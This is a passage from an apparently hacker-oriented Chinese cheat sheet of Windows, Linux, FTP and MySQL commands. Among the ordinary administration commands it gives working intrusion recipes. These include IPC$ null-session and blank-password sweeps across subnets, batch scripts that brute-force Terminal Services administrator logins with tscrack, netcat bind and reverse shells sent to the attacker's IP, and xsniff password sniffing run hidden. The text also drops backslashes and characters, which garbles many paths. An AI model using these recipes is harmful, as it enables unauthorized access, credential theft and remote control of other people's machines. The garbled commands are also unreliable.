regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件夹管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD命令提示符    67. regsvr32 /u zipfldr.dll------取消ZIP支持    68. ntbackup-------系统备份和还原    69. narrator-------屏幕“讲述人”    70. ntmsmgr.msc----移动存储管理器    71. ntmsoprq.msc---移动存储管理员操作请求    72. netstat -an----(TC)命令检查接口    73. syncapp--------创建一个公文包    74. sysedit--------系统配置编辑器    75. sigverif-------文件签名验证程序    76. ciadv.msc------索引服务程序    77. shrpubw--------创建共享文件夹    78. secpol.msc-----本地安全策略    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码    80. services.msc---本地服务设置    81. Sndvol32-------音量控制程序    82. sfc.exe--------系统文件检查器    83. sfc /scannow---windows文件保护    84. ciadv.msc------索引服务程序    85. tourstart------xp简介(安装完成后出现的漫游xp程序)    86. taskmgr--------任务管理器    87. eventvwr-------事件查看器    88. eudcedit-------造字程序    89. compmgmt.msc---计算机管理    90. packager-------对象包装程序    91. perfmon.msc----计算机性能监测程序    92. charmap--------启动字符映射表    93. cliconfg-------SQL SERVER 客户端网络实用程序    94. Clipbrd--------剪贴板查看器    95. conf-----------启动netmeeting    96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:    net use h: ipc$ 登陆后映射对方C:到本地为H:    net use ipipc$ /del 删除IPC链接    net use h: /del 删除映射对方到本地的为H:的映射    net user 用户名 密码 /add 建立用户    net user guest /active:yes 激活guest用户    net user 查看有哪些用户    net user 帐户名 查看帐户的属性    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限    net start 查看开启了哪些服务    net start 服务名 开启服务;(如:net start telnet, net start schedule)    net stop 服务名 停止某服务    net time 目标ip 查看对方间    net time 目标ip /set 设置本地计算机间与“目标IP”主机的间同步,加上参数/yes可取消确认信息    net view 查看本地局域网内开启了哪些共享    net view ip 查看对方局域网内开启了哪些共享    net config 显示系统网络设置    net logoff 断开连接的共享    net pause 服务名 暂停某服务    net send ip "文本信息" 向对方发信息    net ver 局域网内正在使用的网络连接类型和信息    net share 查看本地开启的共享    net share ipc$ 开启ipc$共享    net share ipc$ /del 删除ipc$共享    net share c$ /del 删除C:共享    net user guest 12345 用guest用户登陆后用将密码改为12345    net password 密码 更改系统登陆密码    netstat -a 查看开启了哪些端口,常用netstat -an    netstat -n 查看端口的网络连接情况,常用netstat -an    netstat -v 查看正在进行的工作    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况    netstat -s 查看正在使用的所有协议使用情况    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同使用参数/Q 可取消删除操作的系统确认就直接删除。(二个命令作用相同)    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令    at id号 开启已注册的某个计划任务    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止    at id号 /delete 停止某个已注册的计划任务   at 查看所有的计划任务    at ip time 程序名(或一个命令) /r 在某间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆    telnet ip 端口 远和登陆服务器,默认端口为23    open ip 连接到IP(属telnet登陆后的命令)    telnet 在本机上直接键入telnet 将进入本机的telnet    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同取消确认你要改写一份现存目录文件    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件   用参数/e才可连目录下的子目录一起复制到目标地址下。    tftp -i 自己IP(用肉机作跳板这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件)    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令    mem 查看cpu使用情况    attrib 文件名(目录名) 查看某文件(目录)的属性    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建间,/T:A显示文件上次被访问间,/T:W上次被修改间    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和间,而不必输入新日期和间    set 指定环境变量名称=要指派给变量的字符 设置环境变量    set 显示当前所有的环境变量    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量    pause 暂停批处理程序,并显示出:请按任意键继续....    if 在批处理程序中执行条件处理(更多说明见if命令及变量)    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)   for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置    echo 信息 在屏幕上显示出信息    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello    find 文件名 查找某文件    title 标题名字 更改CMD窗口标题名字    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )    ver 在DOS窗口下显示版本信息    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS    md 目录名 创建目录    replace 源文件 要替换文件的目录 替换文件    ren 原文件名 新文件名 重命名文件名    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称    type 文件名 显示文本文件的内容    more 文件名 逐屏显示输出文件    doskey 要锁定的命令=字符    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=    taskmgr 调出任务管理器    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe   path 路径可执行文件的文件名 为可执行文件设置一个路径。    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;    regedit /e 注册表文件名 导出注册表    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。    cacls 文件名 查看文件的访问用户权限列表    REM 文本内容 在批处理文件中添加注解    netsh 查看或更改本地网络配置情况    IIS服务命令    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)    iisreset /start或stop 启动(停止)所有Internet服务    iisreset /restart 停止然后重新启动所有Internet服务    iisreset /status 显示所有Internet服务状态    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动    iisreset /rebootonerror 当启动、停止或重新启动Internet服务,若发生错误将重新开机   iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务    iisreset /timeout Val在到达逾间(秒),仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。    FTP 命令:(后面有详细说明内容)    ftp的命令行格式为:   ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。    -d 使用调试方式。    -n 限制ftp的自动登录,即不使用.netrc文件。    -g 取消全局文件名。    help [命令] 或 ?[命令] 查看命令说明    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.    pwd 列出当前远端主机目录    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中    mget [remote-files] 从远端主机接收一批文件至本地主机    mput local-files 将本地主机中一批文件传送至远端主机    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件    ascii 设定以ASCII方式传送文件(缺省值)    bin 或 image 设定以二进制方式传送文件    bell 每完成一次文件传送,报警提示    cdup 返回上一级目录    close 中断与远程服务器的ftp会话(与open对应)    open host[port] 建立指定ftp服务器连接,可指定连接端口    delete 删除远端主机中的文件    mdelete [remote-files] 删除一批文件    mkdir directory-name 在远端主机中建立目录    rename [from] [to] 改变远端主机中的文件名    rmdir directory-name 删除远端主机中的目录    status 显示当前FTP的状态    system 显示远端主机系统类型    user user-name [password] [account] 重新以别的用户名登录远端主机    open host [port] 重新建立一个新的连接    prompt 交互提示模式    macdef 定义宏命令    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的文件权限    case 当为ON,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录    cdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5    MYSQL 命令    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)    exit 退出MYSQL    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码    grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   show databases; 显示数据库列表。刚开始才两个数据库:mysql和test。mysql库很重要它面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;    show tables; 显示库中的数据表    describe 表名; 显示数据表的结构    create database 库名; 建库   use 库名;    create table 表名 (字段设定列表); 建表    drop database 库名;    drop table 表名; 删库和删表    delete from 表名; 将表中记录清空    select * from 表名; 显示表中的记录    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。    win2003系统下新增命令(实用部份):    shutdown /参数 关闭或重启本地或远程主机。   参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。   例:shutdown /r /t 0 立即重启本地主机(无延)   taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。   参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数就只列出当前的进程。    Linux系统下基本命令 注:要区分大小写    uname 显示版本信息(同win2K的 ver)    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)   pwd 查询当前所在的目录位置   cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。   cat 文件名 查看文件内容   cat >abc.txt 往abc.txt文件中写上内容。   more 文件名 以一页一页的方式显示一个文本文件。   cp 复制文件    mv 移动文件 rm 文件名 删除文件,rm -a 目录名删除目录及子目录    mkdir 目录名 建立目录    rmdir 删除子目录,目录内没有文档。    chmod 设定档案或目录的存取权限    grep 在档案中查找字符串    diff 档案文件比较    find 档案搜寻    date 现在的日期、间    who 查询目前和你使用同一台机器的人以及Login间地点    w 查询目前上机者的详细资料    whoami 查看自己的帐号名称    groups 查看某人的Group    passwd 更改密码    history 查看自己下过的命令    ps 显示进程状态    kill 停止某进程    gcc 黑客通常用它来编译C语言写的文件    su 权限转换为指定使用者    telnet IP telnet连接对方主机(同win2K),当出现bash$就说明连接成功。    ftp ftp连接上某服务器(同win2K)    批处理命令与变量    1:for命令及变量 基本格式    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量用:%i% ,变量是区分大小写的(%i 不等于 %I)。    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2,user为%3    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令,命令这间加:& 来隔开   command_parameters:为特定命令指定参数或命令行开关   IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式 };/F 指从文件中不断取值,直到取完为止{ (set)为文件,如(d:pass.txt) }。    用法举例:   @echo off   echo 用法格式:test.bat *.*.* > test.txt   for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。   @echo off   echo 用法格式:ok.bat ip   FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。    七:   2:if命令及变量 基本格式   IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。   例:IF errorlevel 0 命令 指程序执行后返回的值为0,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。   0 指发现并成功执行(真);1 指没有发现、没执行(假)。   IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。   例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4,执行后面的命令(注意:调用变量就%变量名%并加" ")   IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。   例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。   IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令需把del命令全部内容用括起来,因为del命令要单独一行才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”   系统外部命令   注:系统外部命令(均需下载相关工具)   瑞士军刀:nc.exe    参数说明:   -h 查看帮助信息   -d 后台模式   -e prog程序重定向,一但连接就执行[危险]   -i secs延的间隔   -l 监听模式,用于入站连接   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C   -n IP地址,不能用域名   -o film记录16进制的传输   -p[空格]端口 本地端口号   -r 随机本地及远程端口   -t 使用Telnet交互方式   -u UDP模式   -v 详细输出,用-vv将更详细   -w数字 timeout延间隔   -z 将输入,输出关掉(用于扫锚)   基本用法:   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口   nc -l -p 80 开启本机的TCP 80端口并监听   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口   高级用法:   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止   nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同把结果输出到c:log.txt   nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   本机上用: nc -l -p 本机端口   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K   nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机   备 注:   | 管道命令    重定向命令。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中   >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。   如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。   八:   扫描工具:xscan.exe   基本格式   xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息   xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息   检测项目   -active 检测主机是否存活   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)   -port 检测常用服务的端口状态   -ftp 检测FTP弱口令   -pub 检测FTP服务匿名用户写权限   -pop3 检测POP3-Server弱口令   -smtp 检测SMTP-Server漏洞   -sql 检测SQL-Server弱口令   -smb 检测NT-Server弱口令   -iis 检测IIS编码/解码漏洞   -cgi 检测CGI漏洞   -nasl 加载Nessus攻击脚本   -all 检测以上所有项目   其它选项   -i 适配器编号 设置网络适配器,可通过"-l"参数获取   -l 显示所有网络适配器   -v 显示详细扫描进度   -p 跳过没有响应的主机   -o 跳过没有检测到开放端口的主机   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)   用法示例   xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机   九:   命令行方式嗅探器: xsniff.exe   可捕获局域网内FTP/SMTP/POP3/HTTP协议密码   参数说明   -tcp 输出TCP数据报   -udp 输出UDP数据报   -icmp 输出ICMP数据报   -pass 过滤密码信息   -hide 后台运行   -host 解析主机名   -addr IP地址 过滤IP地址   -port 端口 过滤端口   -log 文件名 将输出保存到文件   -asc 以ASCII形式输出   -hex 以16进制形式输出   用法示例   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出   终端服务密码破解: tscrack.exe   参数说明   -h 显示使用帮助   -v 显示版本信息   -s 在屏幕上打出解密能力   -b 密码错误发出的声音   -t 同是发出多个连接(多线程)   -N Prevent System Log entries on targeted server   -U 卸载移除tscrack组件   -f 使用-f后面的密码   -F 间隔间(频率)   -l 使用-l后面的用户名   -w 使用-w后面的密码字典   -p 使用-p后面的密码   -D 登录主页面   用法示例   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   @if not exist ipcscan.txt goto noscan   @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i   Nscan   @echo 3389.txt no find or scan faild   (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)   3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat   @if not exist tscrack.exe goto noscan   @tscrack %1 -l administrator -w pass.dic >>rouji.txt   :noscan   @echo tscrack.exe no find or scan faild   (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)   hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。   其它   Shutdown.exe   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)   fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口,他扫到的结果会完全是的主机信息   Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。   ResumeTelnet.exe (OpenTelnet附带的另一个工具)   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同关闭Telnet服务。   FTP命令详解   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。   FTP的命令行格式为:   ftp -v -d -i -n -g [主机名] ,其中   -v 显示远程服务器的所有响应信息   -n 限制ftp的自动登录,即不使用;.n etrc文件;   -d 使用调试方式;   -g 取消全局文件名。   FTP使用的内部命令如下(中括号表示可选项):   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip   2.$ macro-ame[args]:执行宏定义macro-name。   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。   5.ascii:使用ascii类型传输方式。   6.bell:每个命令执行完毕后计算机响铃一次。   7.bin:使用二进制文件传输方式。   8.bye:退出ftp会话过程。   9.case:在使用mget,将远程主机文件名中的大写转为小写字母。   10. cd remote-dir:进入远程主机目录。   11.cdup:进入远程主机目录的父目录。   12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。   13.close:中断与远程服务器的ftp会话(与open对应)。   14 .cr:使用asscii方式传输文件,将回车换行转换为回行。   15.delete remote-file:删除远程主机文件。   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。    18.disconnection:同close。   19.form format:将文件传输方式设置为format,缺省为file方式。   20.get remote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。   21.glob:设置mdelete,mget,mput的文件名扩展,缺省不扩展文件名,同命令行的-g参数。   22.hash:每传输1024字节,显示一个hash符号(#)。   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。    24.idle[seconds]:将远程服务器的休眠计器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行,宏定义结束。 29.mdelete[remote-file]:删除远程主机文件。 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程文件。 32.mkdir dir-name:在远程主机中建一目录。 33.mls remote-file local-file:同nlist,但可指定多个文件名。 34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。    modtime file-name:显示远程主机文件的最后修改间。 mput local-file:将多个文件传输至远程主机。 newer file-name:如果远程机中file-name的修改间比本地硬盘同名文件的间更近,则重传该文件。   38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。   39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。   40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。   42.passive:进入被动传输方式。   43.prompt:设置多个文件传输的交互提示。   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。   45.put local-file[remote-file]:将本地文件local-file传送至远程主机。   46.pwd:显示远程主机的当前工作目录。   47.quit:同bye,退出ftp会话。   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.   49.recv remote-file[local-file]:同get。   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。   51.rhelp[cmd-name]:请求获得远程主机的帮助。   52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。   53.rename[from][to]:更改远程主机文件名。   54.reset:清除回答队列。   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。   56.rmdir dir-name:删除远程主机目录。   57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。   58.send local-file[remote-file]:同put。   59.sendport:设置PORT命令的使用。   60.site 